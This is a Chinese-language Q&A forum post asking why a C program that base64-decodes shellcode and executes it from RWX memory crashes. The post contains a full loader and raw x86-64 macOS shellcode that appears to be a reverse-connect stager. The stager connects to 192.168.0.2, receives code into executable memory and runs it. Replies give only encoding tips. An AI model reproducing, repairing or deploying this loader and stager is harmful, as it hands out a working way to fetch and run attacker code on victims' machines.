【发布时间】:2019-06-09 15:33:01
【问题描述】:
我有一个 c 应用程序,它对包含一些 shellcode 的 base64 字符串进行解码并尝试执行它,它似乎成功解码,但在执行时出现错误 Illegal instruction: 4。这是大部分代码:
unsigned char shellcode[] = "eDZheDAweDVmeDY4eDAweDEweDAweDAweDVleDZheDA3eDVheDY4eDAyeDEweDAweDAweDQxeDVheDZheDAweDQxeDU4eDZheDAweDQxeDU5eDY4eGM1eDAweDAweDAyeDU4eDBmeDA1eDBmeDgyeDc0eDAweDAweDAweDQ5eDg5eGM0eDZheDAweDQxeDVheDZheDBheDQxeDVieDZheDAyeDVmeDZheDAxeDVleDZheDAweDVheDY4eDYxeDAweDAweDAyeDU4eDBmeDA1eDcyeDMzeDQ4eDg5eGM3eDQ4eGI4eDAweDAyeDA0eGQzeGMweGE4eDAweDAyeDUweDU0eDVleDZheDEweDVheDY4eDYyeDAweDAweDAyeDU4eDBmeDA1eDcyeDE2eDRjeDg5eGU2eDY4eDAweDEweDAweDAweDVheDY4eDFkeDAweDAweDAyeDU4eDBmeDA1eDcyeDAzeDQxeGZmeGQ0eDQ5eGZmeGNieDc0eDFleDZheDAweDVmeDZheDAweDVleDZheDAweDVheDZheDAweDQxeDVheDZheDAweDZheDA1eDU0eDQxeDU4eDY4eDVkeDAweDAweDAyeDU4eDBmeDA1eGVieDk3eDY4eDAxeDAweDAweDAyeDU4eDZheDAxeDVmeDBmeDA1Cg==";
char buffer[4096];
int bufferLen = 4096;
int main() {
base64decode(buffer, shellcode, sizeof(shellcode));
printf("%s", buffer);
void *ptr = mmap(NULL, bufferLen, (PROT_READ | PROT_WRITE | PROT_EXEC), (MAP_PRIVATE | MAP_ANONYMOUS), -1, 0);
memcpy(ptr, buffer, bufferLen);
int (*ret)() = (int(*)())ptr;
ret();
}
原始的shellcode是\x6a\x00\x5f\x68\x00\x10\x00\x00\x5e\x6a\x07\x5a\x68\x02\x10\x00\x00\x41\x5a\x6a\x00\x41\x58\x6a\x00\x41\x59\x68\xc5\x00\x00\x02\x58\x0f\x05\x0f\x82\x74\x00\x00\x00\x49\x89\xc4\x6a\x00\x41\x5a\x6a\x0a\x41\x5b\x6a\x02\x5f\x6a\x01\x5e\x6a\x00\x5a\x68\x61\x00\x00\x02\x58\x0f\x05\x72\x33\x48\x89\xc7\x48\xb8\x00\x02\x04\xd3\xc0\xa8\x00\x02\x50\x54\x5e\x6a\x10\x5a\x68\x62\x00\x00\x02\x58\x0f\x05\x72\x16\x4c\x89\xe6\x68\x00\x10\x00\x00\x5a\x68\x1d\x00\x00\x02\x58\x0f\x05\x72\x03\x41\xff\xd4\x49\xff\xcb\x74\x1e\x6a\x00\x5f\x6a\x00\x5e\x6a\x00\x5a\x6a\x00\x41\x5a\x6a\x00\x6a\x05\x54\x41\x58\x68\x5d\x00\x00\x02\x58\x0f\x05\xeb\x97\x68\x01\x00\x00\x02\x58\x6a\x01\x5f\x0f\x05
printf 语句返回没有反斜杠的正确解码的 shellcode,这可能在解码过程中发生,这可以解释错误,但是如果我在编码之前在 shellcode 中放置双反斜杠,它会打印一个反斜杠,表明它是 printf 命令删除它。这意味着shellcode是完整的,但它仍然有错误。
我在这里使用 base64 解码功能:https://github.com/rapid7/metasploit-framework/blob/master/data/headers/windows/base64.h
【问题讨论】:
-
你希望我们自己解码那个字符串吗?
-
对不起,我把原始的 shellcode 添加到问题中
-
我对添加到问题中的原始 shellcode 进行了编码。它以没有反斜杠的文本格式的十六进制数字返回这一事实很可能是我不知道如何解决的问题。
-
如果问题在于数据的编码方式,那么您需要展示您是如何编码的。
-
您需要让 shell 输出实际字节,而不是文本。例如,
echo -ne '\x12\x34.....' | base64。这可以在带有 Bash 的 Linux 上运行,我不确定 macOS。